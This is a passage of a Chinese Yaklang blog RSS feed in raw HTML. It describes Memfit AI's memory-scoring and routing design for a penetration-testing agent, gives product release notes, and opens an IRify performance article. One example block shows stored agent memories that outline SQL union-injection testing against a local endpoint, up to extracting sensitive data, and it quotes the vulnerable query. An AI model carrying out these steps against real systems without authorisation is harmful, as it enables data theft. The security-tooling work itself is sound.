style="color:#393A34">,</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Connectivity - 关联度</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"T"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.15</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Temporality - 时效性,确保经验不过期</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"A"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.15</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Actionability - 可操作性,拒绝无意义的废话</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"P"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"O"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"E"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.05</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 辅助维度</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="动态加成上下文相关强加成">动态加成：上下文相关强加成<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E5%8A%A8%E6%80%81%E5%8A%A0%E6%88%90%E4%B8%8A%E4%B8%8B%E6%96%87%E7%9B%B8%E5%85%B3%E5%BC%BA%E5%8A%A0%E6%88%90" class="hash-link" aria-label="动态加成：上下文相关强加成的直接链接" title="动态加成：上下文相关强加成的直接链接" translate="no">​</a></h2>
<p><code>静态分数保证了记忆的质量,而(关键词加成)则赋予了记忆**灵活性**。</code></p>
<p>即使一条记忆的原始评分很高,如果它与当前 Query(查询词)不匹配,它依然会被降权。我们中设计了五级加成机制:</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">contentBonus </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.0</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 1. 内容关键词匹配分数 (权重: 0.1)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">contentMatchScore </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> t</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">keywordMatcher</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">MatchScore</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> memory</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">contentBonus </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> contentMatchScore </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.1</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 2. 标签关键词匹配 (权重: 0.08)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">tagContent </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> strings</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Join</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">memory</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Tags</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">" "</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">tagMatchScore </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> t</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">keywordMatcher</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">MatchScore</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> tagContent</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">contentBonus </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> tagMatchScore </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.08</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 3. 问题关键词匹配 (权重: 0.05)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">questionContent </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> strings</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Join</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">memory</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">PotentialQuestions</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">" "</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">questionMatchScore </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> t</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">keywordMatcher</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">MatchScore</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> questionContent</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">contentBonus </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> questionMatchScore </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.05</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 4. 直接关键词包含检查 (权重: 0.05)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> t</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">keywordMatcher</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ContainsKeyword</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> memory</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    contentBonus </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.05</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 5. 所有关键词都包含的奖励 (权重: 0.03)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> t</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">keywordMatcher</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">MatchAllKeywords</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> memory</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    contentBonus </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.03</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 限制加成不超过0.3</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> contentBonus </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.3</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    contentBonus </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.3</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p><strong>1.标签匹配(0.08): 命中</strong><code>#sql-injection </code>或 <code>#rce </code>等专家标签。</p>
<p>**2.内容匹配(0.10):扫描 Payload 或回显中的关键字符串。3.反思匹配(0.05):**匹配 Agent 此前自发生成的 <code>PotentialQuestions</code>。</p>
<p>**4.全关键词奖励(0.03):**确保精准匹配的记忆能够“置顶”。</p>
<p>所以最后的排序评分公式为:</p>
<p>$$FinalScore = \text{BaseScore} + \sum \text{KeywordBonus} (\text{Max } 0.3)$$</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="分块注入意图路由">分块注入：意图路由<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E5%88%86%E5%9D%97%E6%B3%A8%E5%85%A5%E6%84%8F%E5%9B%BE%E8%B7%AF%E7%94%B1" class="hash-link" aria-label="分块注入：意图路由的直接链接" title="分块注入：意图路由的直接链接" translate="no">​</a></h2>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"> must_aware </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> 关键偏好</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">约束:对目标URL http:</span><span class="token comment" style="color:#999988;font-style:italic">//127.0.0.1:8787/user/name?name=admin 执行SQL联合注入测试,验证注入点存在性、确定列数与回显位、提取数据库信息(版本/当前库/当前用户)、枚举表名列名、提取敏感数据;使用do_http_request工具构造HTTP请求完成测试 (u=0.88, P=0.80, R=0.90, age=1m55s)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"> action_tips </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> 经验</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">可执行提示:</span><span class="token keyword" style="color:#00009f">SQL</span><span class="token plain"> 联合注入测试目标 URL 为 http:</span><span class="token comment" style="color:#999988;font-style:italic">//127.0.0.1:8787/user/name?name=admin,该端点存在未参数化 SQL 查询:query = f"SELECT * FROM users WHERE username = '{name}'",属于典型注入漏洞点;测试需覆盖字段数判断、回显位置定位、数据库信息获取、表名/列名枚举、敏感数据提取等步骤。 (u=0.86, A=0.90, R=0.90, T=0.90, age=4m59s)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> 经验</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">可执行提示:对URL http:</span><span class="token comment" style="color:#999988;font-style:italic">//127.0.0.1:8787/user/name?name=admin 执行字符型SQL联合注入测试,测试流程包含:1)注入点确认;2)确定列数;3)确定回显位;4)提取数据库信息(版本/当前库/当前用户);5)枚举表名和列名;6)提取敏感数据。 (u=0.83, A=0.80, R=0.90, T=0.80, age=28m8s)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> 经验</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">可执行提示:用户指令明确要求对指定URL执行</span><span class="token keyword" style="color:#00009f">SQL</span><span class="token plain">联合注入测试</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">该请求已通过意图识别流程确认为安全测试任务</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">目标是探测目标服务是否存在</span><span class="token keyword" style="color:#00009f">SQL</span><span class="token plain">联合注入漏洞。 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">u</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">0.83</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> A</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">0.90</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> R</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">0.90</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> T</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">0.80</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> age</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">11</span><span class="token plain">m35s</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> 经验</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">可执行提示:对目标URL http:</span><span class="token comment" style="color:#999988;font-style:italic">//127.0.0.1:8787/user/name?name=admin 执行SQL联合注入测试,需验证注入点存在性、确定列数与回显位、提取数据库版本/当前库/当前用户、枚举表名列名、提取敏感数据;已知目标支持布尔盲注和时间盲注,需手动构造HTTP请求完成测试。 (u=0.83, A=0.90, R=0.90, T=0.80, age=8m25s)</span><br></span></code></pre></div></div>
<p>在检索到了记忆的实体之后,memfit在将其注入到最终prompt中还有一步重要的操作**:意图路由其核心观点是:不同任务下,记忆的优先级应当完全不同。**</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/33383293cc3dee7f-a5a3e357eac5f79bf853fc13e53ed0a7.png" width="1080" height="964" class="yakdoc-image"></button></p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="记忆路由分配">记忆路由分配<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E8%AE%B0%E5%BF%86%E8%B7%AF%E7%94%B1%E5%88%86%E9%85%8D" class="hash-link" aria-label="记忆路由分配的直接链接" title="记忆路由分配的直接链接" translate="no">​</a></h4>
<p>通常来说记忆的检索会将所有的所有文本视作平等的“背景资料”,而我们尝试通过上面的评分的机制通过多维特征识别,将原始记忆分配到不同的<strong>路由</strong>中:</p>
<ul>
<li class="">
<p><strong>MustAware(关键约束):识别为用户硬性偏好或禁忌的信息。它们被赋予最高权重,防止模型违背核心指令。</strong></p>
</li>
<li class="">
<p><strong>ActionTips(经验提示):提取自过去成功操作的建议。这能让模型在面对类似任务时,直接继承之前的经验。</strong></p>
</li>
<li class="">
<p><strong>ReliabilityWarning(风险预警):专门针对相关度高但置信度低的信息。通过打上“待确认”标签,提示模型在处理时触发核验流程。</strong></p>
</li>
<li class="">
<p><strong>EmotionalContext(情绪线索):捕捉对话中的情感基调,确保 AI 的回复不仅逻辑正确,且能考虑用户偏好与情绪</strong></p>
</li>
</ul>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="结构化排序">结构化排序<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E7%BB%93%E6%9E%84%E5%8C%96%E6%8E%92%E5%BA%8F" class="hash-link" aria-label="结构化排序的直接链接" title="结构化排序的直接链接" translate="no">​</a></h4>
<p>如果说路由分配是“分类”,那么结构化排序就是“调度”。模型处理 Prompt 的能力是有限的,<strong>“先看到什么”直接决定了模型的推理路径。</strong> 系统会根据当前的**任务意图(Memory Intent)**动态调整路由的展现顺序:</p>
<ul>
<li class="">
<p>**建议意图(Advice):**优先排布<code>ActionTips</code>。模型进入“执行者”模式,首先关注“怎么做”。</p>
</li>
<li class="">
<p>**核验意图(FactCheck):**优先排布<code>ReliabilityWarning</code>。模型进入“审计者”模式,首先关注“哪些信息可能存疑”。</p>
</li>
</ul>
<p><strong>...</strong></p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="prompt-渲染策略格式化渲染">Prompt 渲染策略:格式化渲染<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#prompt-%E6%B8%B2%E6%9F%93%E7%AD%96%E7%95%A5%E6%A0%BC%E5%BC%8F%E5%8C%96%E6%B8%B2%E6%9F%93" class="hash-link" aria-label="Prompt 渲染策略:格式化渲染的直接链接" title="Prompt 渲染策略:格式化渲染的直接链接" translate="no">​</a></h4>
<p>在memfit的工程中,经过意图路由分类排序的记忆,再最终进入prompt时候还有最终的处理策略</p>
<p>1.语义标签化</p>
<p>系统会根据路由角色自动添加前缀,引导模型思考:</p>
<ul>
<li class="">如果是 <code>ActionTips</code>,前缀是**“经验/可执行提示:”**</li>
<li class="">如果是 <code>MustAware</code>,前缀是**“关键偏好/约束:”**</li>
</ul>
<h5 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2透明的元数据metadata">2.透明的元数据(Metadata)<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#2%E9%80%8F%E6%98%8E%E7%9A%84%E5%85%83%E6%95%B0%E6%8D%AEmetadata" class="hash-link" aria-label="2.透明的元数据(Metadata)的直接链接" title="2.透明的元数据(Metadata)的直接链接" translate="no">​</a></h5>
<p>每一条记忆后面都跟着一串精准的权值:<code>(u=0.85, sim=0.92, A=0.80, R=0.90)</code></p>
<ul>
<li class=""><strong>u (Utility):</strong> 效用分,告诉模型这条记忆在当前上下文中的含金量。</li>
<li class=""><strong>age:</strong> 记忆的“年龄”,让模型感知信息的是时效性。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>如果说知识库是企业为 Agent 准备的“入职培训手册”,那么长期记忆系统就是 Agent 在炮火中磨砺出来的“实战笔记”。</p>
<p>在复杂的生产级渗透任务中,我们并不需要一个只会机械执行指令的程序,而是一个能够<strong>自我复盘、精准避坑、持续进化</strong>的数字伙伴。通过<strong>C.O.R.E. P.A.C.T.</strong> 模型的分门别类,Memfit AI 成功将那些碎片化的回显日志转化为结构化的“肌肉记忆”,让 Agent 在下一次面对同样的暗坑时,能凭借直觉般的经验迅速做出最优决策。</p>
<p>记忆的意义,不在于记住了多少过去,而在于如何高效地重塑未来。</p>
<p>当 Agent 拥有了独立思考与总结经验的能力,它便不再只是一个执行工具,而是真正迈向了“专家级”的门槛**。END更新记录**</p>
<p>Yakit  v1.4.6-0403</p>
<ol>
<li class="">
<p>WebFuzzer/MITM/热加载管理页面支持快捷键保存，可在快捷键管理页面更改快捷键设置</p>
</li>
<li class="">
<p>MITM页面热加载显示当前所选模板名称</p>
</li>
<li class="">
<p>MITM规则支持配置文件后缀白名单</p>
</li>
<li class="">
<p>MITM规则组支持动态格式化输入</p>
</li>
<li class="">
<p>流量分析器热加载合并到热加载管理</p>
</li>
<li class="">
<p>右键菜单中复制url移到一级菜单</p>
</li>
<li class="">
<p>可搜索可下拉的组件进行优化，可展示搜索结果和全部内容</p>
</li>
</ol>
<p>Memfit AI v1.0.1-0403</p>
<ol>
<li class="">
<p>会话支持设置全局命令和手动介入</p>
</li>
<li class="">
<p>Mcp协议增加streamable http</p>
</li>
<li class="">
<p>技能支持批量导出</p>
</li>
<li class="">
<p>初始页面布局优化</p>
</li>
<li class="">
<p>AI模型侧边展示优化，优先展示模型名称</p>
</li>
</ol>
<p>Yaklang 1.4.6-beta6</p>
<ol>
<li class="">
<p>优化 AI 回调链路、计划执行流程与阶段性摘要生成</p>
</li>
<li class="">
<p>增强 AI 工具直调、缓存复用与目录探索能力</p>
</li>
<li class="">
<p>完善 AI memory 检索、观测分析与用户干预同步处理</p>
</li>
<li class="">
<p>增强 AI Forge 与 Yak Script 的导入导出、过滤和更新机制</p>
</li>
<li class="">
<p>接入并优化 Dashboard 中的 Qwen Web Search 能力</p>
</li>
<li class="">
<p>修复 AI 输出总结、文件路径提示与部分交互细节问题</p>
</li>
<li class="">
<p>提升 Java / SSA / SSA2LLVM 的编译性能、作用域绑定与复杂调用支持</p>
</li>
<li class="">
<p>增强 Go 规则集覆盖，并升级部分 Go 依赖版本</p>
</li>
<li class="">
<p>完善插件加载、AI 驱动插件调用与部分泄漏场景修复</p>
</li>
<li class="">
<p>MCP Server / Client 支持 Streamable http 协议</p>
</li>
<li class="">
<p>优化 AI Agent 页面查询性能</p>
</li>
<li class="">
<p>修复 fuzz 库 Host 构建异常的 bug</p>
</li>
<li class="">
<p>全局配置支持关闭 Http Flow 查询过慢的提示</p>
</li>
<li class="">
<p>修复 MITM 插件误判为交互式插件的 bug</p>
</li>
<li class="">
<p>优化 MITM 规则匹配功能，默认跳过对二进制类型响应包的匹配</p>
</li>
</ol>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/yCM2jpi_iHGZr_RuwvPP0w" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>AI</category>
        </item>
        <item>
            <title><![CDATA[性能优化：IRify 第二轮全路径性能重构（SSA/SyntaxFlow/ANTLR）]]></title>
            <link>https://yaklang.com/blog/irify-full-path-performance-refactor-round2</link>
            <guid>https://yaklang.com/blog/irify-full-path-performance-refactor-round2</guid>
            <pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文复盘 IRify 围绕 SSA、CodeScan、SyntaxFlow、SFVM 与 ANTLR 前端完成的第二轮全路径优化，目标是提升大型项目编译、规则扫描和执行控制能力。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>过去几个月，Yaklang 在 SSA、CodeScan、SyntaxFlow / SFVM、ANTLR / front-end 这几条线，做完了第二轮比较成体系的性能优化。</p>
<p>如果只看提交记录，会觉得这是一串零散的修复、重构和实验；但把这些工作放在一起看，会发现它们其实围绕的是同一个目标：</p>
<p>让 IRify 真正能够在大项目上更稳定地编译、更高效地扫描、更可控地执行规则，并且让后续第三轮、第四轮优化有清晰的落点。</p>
</blockquote>
<p>先说几个最直观的结果。</p>
<ul>
<li class="">在真实目标 <code>spring-cloud-netflix</code> 上，这一轮 CodeScan 调优过程中的观测值，从 <code>10.08s</code> 降到了 <code>5.59s</code>。</li>
<li class="">在 SSA 指令搜索这条线上，<code>sfvm.nativecall:getFormalParams:java-servlet-param</code> 这一类核心热点，已经从早期的 <code>6.065s</code> 量级压到了“几十毫秒”量级。</li>
<li class="">在 PHP mixed HTML 这个最典型、也最难看的前端热点上，<code>BenchmarkFrontendPfsenseSystemInformationFixture</code> 从 <code>15.36s/op</code> 降到了 <code>6.95s/op</code>，时间下降约 <code>54.74%</code>；本地当前主线补跑时，结果也稳定在 <code>7.82s/op</code> 左右。</li>
<li class="">在 Java 大型反编译目标的 AST-only 实验里，ANTLR 缓存清理参数调优前后，可以从 <code>78.46s / 19.34GB</code> 这类结果，压到 <code>53.01s / 5.63GB</code> 这一档；如果追求更激进的速度甜品点，也已经能跑到 <code>51s</code> 左右。</li>
<li class="">在 Java 反编译大项目目标上，前端 AST 错误和 panic 已经被清到 0，系统瓶颈开始从“前端根本过不去”后移到“落库和持久化阶段怎么继续压”。</li>
</ul>
<p>这几组数据放在一起，其实已经能说明很多问题：</p>
<p>第一，当前这一轮优化，已经不是“体感更快一点”的级别，而是真正把一批秒级、十秒级、甚至十几 GB 内存级别的问题打下来了。</p>
<p>第二，这一轮优化的重点，不只是提速，还包括把热点找准、把路径理顺、把默认参数选稳。</p>
<p>第三，现在已经落地的是第二轮结果，接下来会继续进入第三轮、第四轮。</p>
<p>这轮已经落地的内容，可以先概括成四件事：</p>
<p><code>1、SSA</code> 编译和搜索路径更统一了，相关命令和文档也同步整理到了 <code>ssa.to/docs</code>。</p>
<p>2、<code>SSA</code> 指令搜索开始从字符串匹配路径，推进到“常量池 + ID 路径”的结构优化。</p>
<p><code>3、SyntaxFlow / SFVM</code> 的判断语句运行逻辑被重构了一轮，过去在大量值场景下容易拖很久的判断路径，被真正收住了。</p>
<p><code>4、ANTLR / front-end</code> 不只是继续修语法边界，还开始通过参数 sweep、统一目标实验和 TokenSource 优化，系统性地压时间和内存。</p>
<p>与此同时，这并不是终点。</p>
<p>当前仓库里的 worktree 已经能明显看出后续方向还在继续推进，对应的其实就是下一阶段要继续啃的几块硬骨头：</p>
<ul>
<li class="">编译期内存和数据存储继续压缩</li>
<li class="">时序和诊断能力继续补强</li>
<li class="">lazy build 路径继续推进</li>
<li class="">数据流分析能力继续细化</li>
</ul>
<p>所以，如果用一句话概括这篇文章想讲的内容，那就是：</p>
<p><em>这一轮 IRify 性能优化，已经把“能不能跑”推进到了“怎么跑得更快、更稳、更省”，而后面的第三轮、第四轮，也已经开始排上日程。</em></p>
<p>下面就按几个最关键的位置，分别讲清楚这轮到底优化了什么、为什么要这么做、以及它现在带来了什么结果。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="ssa指令搜索的常量池优化">SSA指令搜索的常量池优化<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#ssa%E6%8C%87%E4%BB%A4%E6%90%9C%E7%B4%A2%E7%9A%84%E5%B8%B8%E9%87%8F%E6%B1%A0%E4%BC%98%E5%8C%96" class="hash-link" aria-label="SSA指令搜索的常量池优化的直接链接" title="SSA指令搜索的常量池优化的直接链接" translate="no">​</a></h2>
<p>这一节对应的核心合并 PR 主要是：<code>#4019</code>、<code>#4040</code>、<code>#4066</code>、<code>#4092</code>。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="之前的情况">之前的情况<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E4%B9%8B%E5%89%8D%E7%9A%84%E6%83%85%E5%86%B5" class="hash-link" aria-label="之前的情况的直接链接" title="之前的情况的直接链接" translate="no">​</a></h3>
<p>这一轮之前，IRify 在 SSA 指令搜索上的核心能力已经是可用的，问题主要集中在“越大项目越容易把搜索路径拖慢”。</p>
<p>真正慢下来的位置，主要不在某一条规则本身，而在搜索链路背后的数据形态：</p>
<ul>
<li class="">指令、变量、成员、对象 key 这些名字，在持久化时会被抹平成数据库里的字符串字段</li>
<li class=""><code>irindex</code> 这类索引表里，<code>name</code> 字段存在大量重复</li>
<li class="">一旦大项目里“很多值都叫同一个名字”或者“重名值特别多”，搜索就会在大量重复名字上反复做工作</li>
</ul>
<p>也就是说，旧路径的问题不是“有没有搜索能力”，而是搜索时还带着太多字符串级别的重复劳动。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="问题">问题<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E9%97%AE%E9%A2%98" class="hash-link" aria-label="问题的直接链接" title="问题的直接链接" translate="no">​</a></h3>
<p>这轮最开始最容易误判的地方，就是把热点简单理解成“正则匹配慢”。</p>
<p>实际上，真正的问题在更底层：</p>
<p>1、数据库里保留下来的是“名字到值”的映射，但重名很多。</p>
<p>2、一旦用字符串去搜，数据库会不断在重复名字上做重复匹配。</p>
<p>3、SQLite 的回调式正则在这种高重复场景下会进一步放大成本。</p>
<p>所以根因不是一句“正则慢”能解释的。</p>
<p>更准确地说，是：</p>
<p><em>同名值太多，字符串搜索路径又太重，导致数据库不断在重复名字上做重复工作。</em></p>
